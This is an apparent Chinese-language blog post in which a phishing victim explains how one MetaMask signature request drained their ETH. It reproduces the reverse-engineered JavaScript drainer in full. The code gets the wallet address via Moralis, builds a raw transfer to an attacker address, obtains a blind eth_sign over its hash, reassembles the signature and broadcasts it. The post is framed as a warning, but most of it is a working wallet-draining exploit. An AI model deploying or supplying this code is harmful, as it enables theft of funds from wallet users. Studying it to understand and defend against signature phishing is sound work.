震惊!只需要一次metamask签名,就可以转走你的任意资产!附代码
最近的安全形势越发严峻,在我的常识当中,metamask签名只会盗取token等资产,而本币(ETH BNB 等)是绝对需要私钥进行签名才能完成转账。以上疏忽,导致我被一个钓鱼网站签名转走了ETH,就一直逆向分析。最终明白了他是通过手动构造交易,然后发送离线签名数据进而转走我的资产!在这里附上代码给大家分析下,同时大家以后可千万不能点击来路不明的签名了!
const appId = "Moralis app id";
Moralis.start({
serverUrl, appId
});
await Moralis.enableWeb3();
const web3 = new Web3(Moralis.provider); //在这里它使用的是Moralis服务,这个很奇妙,hook不到它的任何请求
let user = Moralis.User.current();
if (!user) {
user = await Moralis.authenticate();
}
let userAddr = (await web3.eth.getAccounts())[0]; //获取你的小狐狸钱包地址,然后对你的钱包地址分析,获取有价值的资产!
await web3.eth.getTransactionCount(userAddr, "pending").then(async nonce1 => {
//获取nonce
console.log("nonce1", nonce1)
const gasPrice = await web3.eth.getGasPrice() //获取当前链gas
let _addr = "0x0000000000"; //黑客接收钱包地址
let chainId = await web3.eth.getChainId(); //获取链id
let wei_send = 0; // 要转走的金额 这里通常会获取你的全部余额
//在这里我们可以构造任何交易,可以转走你钱包里的任何资产!
let tx_ = {
from: userAddr,
"to": _addr,
"nonce": web3.utils.toHex(nonce1),
"gasLimit": "0x186A0", // gasLimit
"gasPrice": web3.utils.toHex(Math.floor(gasPrice * 2)),
"value": web3.utils.toHex(wei_send),
"data": "0x",
"v": "0x1",
"r": "0x",
"s": "0x"
}
var tx = new ethereumjs.Tx(tx_);
var serializedTx = "0x" + tx.serialize().toString("hex");
let hexer = {
"encoding": "hex"
};
const sha3_ = web3.utils.sha3(serializedTx, hexer);
console.log("rawTx1:", serializedTx);
console.log("rawHash1:", sha3_);
await web3.eth.sign(sha3_, userAddr).then(async signed => {
//关键:这里调用小狐狸签名
const temporary = signed.substring(2),
r_ = "0x" + temporary.substring(0, 64),
s_ = "0x" + temporary.substring(64, 128),
rhema = parseInt(temporary.substring(128, 130), 16),
v_ = web3.utils.toHex(rhema + chainId * 2 + 8);
console.log("r:", r_);
console.log("s:", s_);
console.log("y:", v_.toString("hex"));
tx.r = r_;
tx.s = s_;
tx.v = v_;
console.log(tx);
console.log("---------------------------------------------");
const txFin = "0x" + tx.serialize().toString("hex") //,
const sha3__ = web3.utils.sha3(txFin, hexer);
console.log("rawTx:", txFin);
console.log("rawHash:", sha3__);
//关键:上面的交易通过小狐狸签名请求好后,发送离线交易
await web3.eth.sendSignedTransaction(txFin).then(elisebeth => console.log(elisebeth)).catch(vannette => console.log(vannette))
}).catch(heide => console.log(heide))
})
我们可以看到,只调用了小狐狸的一次签名,就把你的资产给转走了。所以以后陌生网站不要随意点击签名了!!!!!!!!!
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!